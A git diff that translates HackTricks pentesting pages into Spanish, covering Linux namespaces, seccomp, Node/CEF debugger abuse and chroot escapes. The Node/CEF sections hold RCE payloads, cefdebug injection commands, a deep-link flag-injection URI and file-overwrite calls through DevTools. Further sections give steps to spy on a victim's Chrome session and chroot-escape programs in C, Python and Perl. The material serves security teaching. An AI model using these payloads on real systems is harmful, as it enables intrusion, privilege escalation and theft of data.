@@ -53,7 +53,7 @@ Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash # Run ifconfig or ip -a ``` -### Verifica en qué namespace está tu proceso +### Ver en qué namespace está tu proceso ```bash ls -l /proc/self/ns/net lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]' diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 867a3ddf6..8e678c1a2 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -70,9 +70,9 @@ Tenga en cuenta que el usuario root del espacio de nombres PID inicial (predeter ```bash nsenter -t TARGET_PID --pid /bin/bash ``` -Cuando entras dentro de un namespace PID desde el namespace por defecto, aún podrás ver todos los procesos. Y el proceso de ese namespace PID podrá ver el nuevo bash en el namespace PID. +Cuando entras en un namespace de PID desde el namespace predeterminado, aún podrás ver todos los procesos. Y el proceso de ese namespace de PID podrá ver el nuevo bash en el namespace de PID. -Además, solo puedes **entrar en otro namespace PID de proceso si eres root**. Y **no puedes** **entrar** en otro namespace **sin un descriptor** que apunte a él (como `/proc/self/ns/pid`) +Además, solo puedes **entrar en otro namespace de PID de proceso si eres root**. Y **no puedes** **entrar** en otro namespace **sin un descriptor** que apunte a él (como `/proc/self/ns/pid`) ## Referencias diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 230085c6c..fa785b1d1 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -4,7 +4,7 @@ ## Información Básica -El espacio de nombres de tiempo en Linux permite desplazamientos por espacio de nombres a los relojes monótonos del sistema y de tiempo de arranque. Se utiliza comúnmente en contenedores de Linux para cambiar la fecha/hora dentro de un contenedor y ajustar los relojes después de restaurar desde un punto de control o instantánea. +El espacio de nombres de tiempo en Linux permite desplazamientos por espacio de nombres a los relojes monótonos del sistema y al tiempo de arranque. Se utiliza comúnmente en contenedores de Linux para cambiar la fecha/hora dentro de un contenedor y ajustar los relojes después de restaurar desde un punto de control o una instantánea. ## Laboratorio: @@ -24,7 +24,7 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a 1. **Explicación del Problema**: -- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado "proceso unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos. +- El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado proceso "unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original. - El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres. @@ -34,7 +34,7 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a 3. **Solución**: - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID. -- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. +- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria. diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 1fe289b88..6220a79bd 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -43,7 +43,7 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a 3. **Solución**: - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID. -- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` en sí se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. +- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria. diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index 89ca7caad..6863f87f4 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -40,7 +40,7 @@ Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a 3. **Solución**: - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID. -- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` en sí se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. +- Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria. diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index f160fa23d..64a2ee71e 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -8,7 +8,7 @@ Hay dos formas de activar seccomp: a través de la llamada al sistema `prctl(2)` con `PR_SET_SECCOMP`, o para núcleos de Linux 3.17 y superiores, la llamada al sistema `seccomp(2)`. El método más antiguo de habilitar seccomp escribiendo en `/proc/self/seccomp` ha sido desaprobado a favor de `prctl()`. -Una mejora, **seccomp-bpf**, añade la capacidad de filtrar llamadas al sistema con una política personalizable, utilizando reglas de Berkeley Packet Filter (BPF). Esta extensión es aprovechada por software como OpenSSH, vsftpd, y los navegadores Chrome/Chromium en Chrome OS y Linux para un filtrado de syscall flexible y eficiente, ofreciendo una alternativa a la ahora no soportada systrace para Linux. +Una mejora, **seccomp-bpf**, añade la capacidad de filtrar llamadas al sistema con una política personalizable, utilizando reglas de Berkeley Packet Filter (BPF). Esta extensión es aprovechada por software como OpenSSH, vsftpd, y los navegadores Chrome/Chromium en Chrome OS y Linux para un filtrado de syscall flexible y eficiente, ofreciendo una alternativa al ahora no soportado systrace para Linux. ### **Modo Original/Estricto** @@ -111,7 +111,7 @@ En el siguiente ejemplo se descubren las **syscalls** de `uname`: docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` > [!NOTE] -> Si estás usando **Docker solo para lanzar una aplicación**, puedes **perfilarla** con **`strace`** y **solo permitir las syscalls** que necesita +> Si estás usando **Docker solo para lanzar una aplicación**, puedes **perfil**arla con **`strace`** y **solo permitir las syscalls** que necesita ### Ejemplo de política Seccomp @@ -130,12 +130,12 @@ Para ilustrar la función Seccomp, creemos un perfil Seccomp deshabilitando la l } ``` En el perfil anterior, hemos establecido la acción predeterminada en "permitir" y creado una lista negra para deshabilitar "chmod". Para ser más seguros, podemos establecer la acción predeterminada en "rechazar" y crear una lista blanca para habilitar selectivamente las llamadas al sistema.\ -La siguiente salida muestra la llamada "chmod" devolviendo un error porque está deshabilitada en el perfil seccomp. +La siguiente salida muestra que la llamada "chmod" devuelve un error porque está deshabilitada en el perfil seccomp. ```bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts chmod: /etc/hosts: Operation not permitted ``` -La siguiente salida muestra el “docker inspect” mostrando el perfil: +La siguiente salida muestra el "docker inspect" mostrando el perfil: ```json "SecurityOpt": [ "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index 1c70c4af1..f118342b2 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -4,7 +4,7 @@ ## What is Distroless -Un contenedor distroless es un tipo de contenedor que **contiene solo las dependencias necesarias para ejecutar una aplicación específica**, sin ningún software o herramienta adicional que no sea requerido. Estos contenedores están diseñados para ser lo más **ligeros** y **seguros** posible, y su objetivo es **minimizar la superficie de ataque** al eliminar cualquier componente innecesario. +Un contenedor distroless es un tipo de contenedor que **contiene solo las dependencias necesarias para ejecutar una aplicación específica**, sin ningún software o herramienta adicional que no sea requerida. Estos contenedores están diseñados para ser lo más **ligeros** y **seguros** posible, y su objetivo es **minimizar la superficie de ataque** al eliminar cualquier componente innecesario. Los contenedores distroless se utilizan a menudo en **entornos de producción donde la seguridad y la fiabilidad son primordiales**. @@ -19,7 +19,7 @@ El objetivo de armar un contenedor distroless es poder **ejecutar binarios y car ### Through memory -Coming at some point of 2023... +Llegando en algún momento de 2023... ### Via Existing binaries diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 1aa065326..f0f9db506 100644 --- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -1,18 +1,17 @@ -# Node inspector/CEF debug abuse +# Abuso del depurador de Node/CEF {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**. +[De la documentación](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Cuando se inicia con el interruptor `--inspect`, un proceso de Node.js escucha a un cliente de depuración. Por **defecto**, escuchará en el host y puerto **`127.0.0.1:9229`**. Cada proceso también se asigna un **UUID** **único**. -Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. +Los clientes del inspector deben conocer y especificar la dirección del host, el puerto y el UUID para conectarse. Una URL completa se verá algo así como `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. > [!WARNING] -> Since the **debugger has full access to the Node.js execution environment**, a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process (**potential privilege escalation**). - -There are several ways to start an inspector: +> Dado que el **depurador tiene acceso completo al entorno de ejecución de Node.js**, un actor malicioso que pueda conectarse a este puerto puede ser capaz de ejecutar código arbitrario en nombre del proceso de Node.js (**posible escalada de privilegios**). +Hay varias formas de iniciar un inspector: ```bash node --inspect app.js #Will run the inspector in port 9229 node --inspect=4444 app.js #Will run the inspector in port 4444 @@ -23,58 +22,48 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po node --inspect --inspect-port=0 app.js #Will run the inspector in a random port # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector ``` - -When you start an inspected process something like this will appear: - +Cuando inicias un proceso inspeccionado, algo como esto aparecerá: ``` Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` +Los procesos basados en **CEF** (**Chromium Embedded Framework**) necesitan usar el parámetro: `--remote-debugging-port=9222` para abrir el **debugger** (las protecciones SSRF permanecen muy similares). Sin embargo, **en lugar de** otorgar una sesión de **debug** de **NodeJS**, se comunicarán con el navegador utilizando el [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), esta es una interfaz para controlar el navegador, pero no hay un RCE directo. -Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE. - -When you start a debugged browser something like this will appear: - +Cuando inicias un navegador en modo de depuración, aparecerá algo como esto: ``` DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` +### Navegadores, WebSockets y política de mismo origen -### Browsers, WebSockets and same-origin policy - -Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. +Los sitios web abiertos en un navegador web pueden hacer solicitudes WebSocket y HTTP bajo el modelo de seguridad del navegador. Una **conexión HTTP inicial** es necesaria para **obtener un id de sesión de depurador único**. La **política de mismo origen** **previene** que los sitios web puedan hacer **esta conexión HTTP**. Para mayor seguridad contra [**ataques de reencaminamiento DNS**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifica que los **encabezados 'Host'** para la conexión especifiquen ya sea una **dirección IP** o **`localhost`** o **`localhost6`** precisamente. > [!NOTE] -> This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). +> Estas **medidas de seguridad previenen la explotación del inspector** para ejecutar código **simplemente enviando una solicitud HTTP** (lo cual podría hacerse explotando una vulnerabilidad SSRF). -### Starting inspector in running processes - -You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation. +### Iniciando el inspector en procesos en ejecución +Puedes enviar la **señal SIGUSR1** a un proceso nodejs en ejecución para hacer que **inicie el inspector** en el puerto predeterminado. Sin embargo, ten en cuenta que necesitas tener suficientes privilegios, por lo que esto podría otorgarte **acceso privilegiado a información dentro del proceso** pero no una escalada de privilegios directa. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - > [!NOTE] -> This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process. +> Esto es útil en contenedores porque **cerrar el proceso y comenzar uno nuevo** con `--inspect` **no es una opción** porque el **contenedor** será **eliminado** junto con el proceso. -### Connect to inspector/debugger +### Conectar al inspector/debugger -To connect to a **Chromium-based browser**, the `chrome://inspect` or `edge://inspect` URLs can be accessed for Chrome or Edge, respectively. By clicking the Configure button, it should be ensured that the **target host and port** are correctly listed. The image shows a Remote Code Execution (RCE) example: +Para conectarse a un **navegador basado en Chromium**, se pueden acceder a las URLs `chrome://inspect` o `edge://inspect` para Chrome o Edge, respectivamente. Al hacer clic en el botón Configurar, se debe asegurar que el **host y puerto objetivo** estén correctamente listados. La imagen muestra un ejemplo de Ejecución Remota de Código (RCE): ![](<../../images/image (674).png>) -Using the **command line** you can connect to a debugger/inspector with: - +Usando la **línea de comandos** puedes conectarte a un debugger/inspector con: ```bash node inspect : node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` - -The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them. - +La herramienta [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) permite **encontrar inspectores** que se ejecutan localmente y **inyectar código** en ellos. ```bash #List possible vulnerable sockets ./cefdebug.exe @@ -83,76 +72,67 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd #Exploit it ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` +> [!NOTE] +> Tenga en cuenta que **los exploits de RCE de NodeJS no funcionarán** si está conectado a un navegador a través del [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (debe consultar la API para encontrar cosas interesantes que hacer con ella). + +## RCE en el Depurador/Inspector de NodeJS > [!NOTE] -> Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (you need to check the API to find interesting things to do with it). - -## RCE in NodeJS Debugger/Inspector - -> [!NOTE] -> If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) - -Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**): +> Si llegó aquí buscando cómo obtener [**RCE de un XSS en Electron, consulte esta página.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) +Algunas formas comunes de obtener **RCE** cuando puede **conectarse** a un **inspector** de Node son usar algo como (parece que esto **no funcionará en una conexión al protocolo de Chrome DevTools**): ```javascript process.mainModule.require("child_process").exec("calc") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") require("child_process").spawnSync("calc.exe") Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" })) ``` - ## Chrome DevTools Protocol Payloads -You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ -In this section I will just list interesting things I find people have used to exploit this protocol. +Puedes consultar la API aquí: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ +En esta sección solo listaré cosas interesantes que he encontrado que la gente ha utilizado para explotar este protocolo. -### Parameter Injection via Deep Links +### Inyección de Parámetros a través de Enlaces Profundos -In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://) that received the full URI and then **launched the CEF based applicatio**n with a configuration that was partially constructing from that URI. +En el [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security descubrió que una aplicación basada en CEF **registró un URI personalizado** en el sistema (workspaces://) que recibía el URI completo y luego **lanzaba la aplicación basada en CEF** con una configuración que se construía parcialmente a partir de ese URI. -It was discovered that the URI parameters where URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things. - -So, a payload like: +Se descubrió que los parámetros del URI eran decodificados y utilizados para lanzar la aplicación básica de CEF, permitiendo a un usuario **inyectar** la bandera **`--gpu-launcher`** en la **línea de comandos** y ejecutar cosas arbitrarias. +Así que, una carga útil como: ``` workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` +Ejecutará un calc.exe. -Will execute a calc.exe. - -### Overwrite Files - -Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**. +### Sobrescribir Archivos +Cambia la carpeta donde **se van a guardar los archivos descargados** y descarga un archivo para **sobrescribir** el **código fuente** de la aplicación que se utiliza con frecuencia con tu **código malicioso**. ```javascript ws = new WebSocket(url) //URL of the chrome devtools service ws.send( - JSON.stringify({ - id: 42069, - method: "Browser.setDownloadBehavior", - params: { - behavior: "allow", - downloadPath: "/code/", - }, - }) +JSON.stringify({ +id: 42069, +method: "Browser.setDownloadBehavior", +params: { +behavior: "allow", +downloadPath: "/code/", +}, +}) ) ``` +### Webdriver RCE y exfiltración -### Webdriver RCE and exfiltration +Según esta publicación: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) es posible obtener RCE y exfiltrar páginas internas de theriver. -According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver. +### Post-Explotación -### Post-Exploitation - -In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**. - -The stealth way is to **terminate every Chrome process** and then call something like +En un entorno real y **después de comprometer** una PC de usuario que utiliza un navegador basado en Chrome/Chromium, podrías lanzar un proceso de Chrome con **la depuración activada y redirigir el puerto de depuración** para que puedas acceder a él. De esta manera, podrás **inspeccionar todo lo que la víctima hace con Chrome y robar información sensible**. +La forma sigilosa es **terminar todos los procesos de Chrome** y luego llamar a algo como ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` - -## References +## Referencias - [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s) - [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) diff --git a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index d2db5d66c..67eaa9393 100644 --- a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,32 +1,31 @@ -# Escaping from Jails +# Escapando de Jails {{#include ../../banners/hacktricks-training.md}} ## **GTFOBins** -**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** +**Busca en** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **si puedes ejecutar algún binario con la propiedad "Shell"** -## Chroot Escapes +## Escapes de Chroot -From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\ -Usually this means that to escape you need to be root inside the chroot. +De [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): El mecanismo chroot **no está destinado a defenderse** contra manipulaciones intencionales por parte de **usuarios privilegiados** (**root**). En la mayoría de los sistemas, los contextos chroot no se apilan correctamente y los programas chrooted **con suficientes privilegios pueden realizar un segundo chroot para escapar**.\ +Generalmente, esto significa que para escapar necesitas ser root dentro del chroot. > [!TIP] -> The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`. +> La **herramienta** [**chw00t**](https://github.com/earthquake/chw00t) fue creada para abusar de los siguientes escenarios y escapar de `chroot`. ### Root + CWD > [!WARNING] -> If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS. +> Si eres **root** dentro de un chroot **puedes escapar** creando **otro chroot**. Esto se debe a que 2 chroots no pueden coexistir (en Linux), así que si creas una carpeta y luego **creas un nuevo chroot** en esa nueva carpeta siendo **tú fuera de ella**, ahora estarás **fuera del nuevo chroot** y, por lo tanto, estarás en el FS. > -> This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it. +> Esto ocurre porque generalmente chroot NO mueve tu directorio de trabajo al indicado, así que puedes crear un chroot pero estar fuera de él. -Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary: +Generalmente no encontrarás el binario `chroot` dentro de una cárcel chroot, pero **podrías compilar, subir y ejecutar** un binario:
C: break_chroot.c - ```c #include #include @@ -36,61 +35,55 @@ Usually you won't find the `chroot` binary inside a chroot jail, but you **could int main(void) { - mkdir("chroot-dir", 0755); - chroot("chroot-dir"); - for(int i = 0; i < 1000; i++) { - chdir(".."); - } - chroot("."); - system("/bin/bash"); +mkdir("chroot-dir", 0755); +chroot("chroot-dir"); +for(int i = 0; i < 1000; i++) { +chdir(".."); +} +chroot("."); +system("/bin/bash"); } ``` -
Python - ```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): - os.chdir("..") +os.chdir("..") os.chroot(".") os.system("/bin/bash") ``` -
Perl - ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { - chdir ".." +chdir ".." } chroot "."; system("/bin/bash"); ``` -
-### Root + Saved fd +### Root + fd guardado > [!WARNING] -> This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**. +> Esto es similar al caso anterior, pero en este caso el **atacante almacena un descriptor de archivo en el directorio actual** y luego **crea el chroot en una nueva carpeta**. Finalmente, como tiene **acceso** a ese **FD** **fuera** del chroot, accede a él y **escapa**.
C: break_chroot.c - ```c #include #include @@ -100,70 +93,68 @@ system("/bin/bash"); int main(void) { - mkdir("tmpdir", 0755); - dir_fd = open(".", O_RDONLY); - if(chroot("tmpdir")){ - perror("chroot"); - } - fchdir(dir_fd); - close(dir_fd); - for(x = 0; x < 1000; x++) chdir(".."); - chroot("."); +mkdir("tmpdir", 0755); +dir_fd = open(".", O_RDONLY); +if(chroot("tmpdir")){ +perror("chroot"); +} +fchdir(dir_fd); +close(dir_fd); +for(x = 0; x < 1000; x++) chdir(".."); +chroot("."); } ``` -
### Root + Fork + UDS (Unix Domain Sockets) > [!WARNING] -> FD can be passed over Unix Domain Sockets, so: +> FD puede ser pasado a través de Unix Domain Sockets, así que: > -> - Create a child process (fork) -> - Create UDS so parent and child can talk -> - Run chroot in child process in a different folder -> - In parent proc, create a FD of a folder that is outside of new child proc chroot -> - Pass to child procc that FD using the UDS -> - Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail +> - Crea un proceso hijo (fork) +> - Crea UDS para que el padre y el hijo puedan comunicarse +> - Ejecuta chroot en el proceso hijo en una carpeta diferente +> - En el proceso padre, crea un FD de una carpeta que esté fuera del nuevo chroot del proceso hijo +> - Pasa ese FD al proceso hijo usando el UDS +> - El proceso hijo cambia de directorio a ese FD, y debido a que está fuera de su chroot, escapará de la cárcel ### Root + Mount > [!WARNING] > -> - Mounting root device (/) into a directory inside the chroot -> - Chrooting into that directory +> - Montando el dispositivo raíz (/) en un directorio dentro del chroot +> - Chrooteando en ese directorio > -> This is possible in Linux +> Esto es posible en Linux ### Root + /proc > [!WARNING] > -> - Mount procfs into a directory inside the chroot (if it isn't yet) -> - Look for a pid that has a different root/cwd entry, like: /proc/1/root -> - Chroot into that entry +> - Montar procfs en un directorio dentro del chroot (si aún no lo está) +> - Busca un pid que tenga una entrada de root/cwd diferente, como: /proc/1/root +> - Chroot en esa entrada ### Root(?) + Fork > [!WARNING] > -> - Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it -> - From the parent process, move the folder where the child process is in a folder previous to the chroot of the children -> - This children process will find himself outside of the chroot +> - Crea un Fork (proceso hijo) y chroot en una carpeta diferente más profunda en el FS y CD en ella +> - Desde el proceso padre, mueve la carpeta donde se encuentra el proceso hijo a una carpeta anterior al chroot de los hijos +> - Este proceso hijo se encontrará fuera del chroot ### ptrace > [!WARNING] > -> - Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore -> - Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap_sys_ptrace)). +> - Hace tiempo, los usuarios podían depurar sus propios procesos desde un proceso de sí mismos... pero esto ya no es posible por defecto +> - De todos modos, si es posible, podrías ptrace en un proceso y ejecutar un shellcode dentro de él ([ver este 